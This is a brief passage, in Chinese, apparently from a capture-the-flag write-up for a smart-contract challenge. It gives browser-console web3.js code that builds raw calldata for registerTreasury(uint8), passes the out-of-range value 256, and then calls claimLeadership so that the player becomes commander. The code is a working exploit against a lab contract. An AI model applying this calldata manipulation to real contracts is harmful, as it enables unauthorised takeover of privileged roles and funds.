注意题目要求我们将 commander 地址设置为 player 地址,所以如果通过合约运行则会将 commander 地址指向合约地址,所以这里在控制台执行操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const functionSignature = "registerTreasury(uint8)" ;const selector = web3.utils .keccak256 (functionSignature).slice (0 , 10 ); const val = "0000000000000000000000000000000000000000000000000000000000000100" ;const data = selector + val;await web3.eth .sendTransaction ({ from : player, to : instance, data : data }); await contract.claimLeadership ();(await contract.commander ()) === player;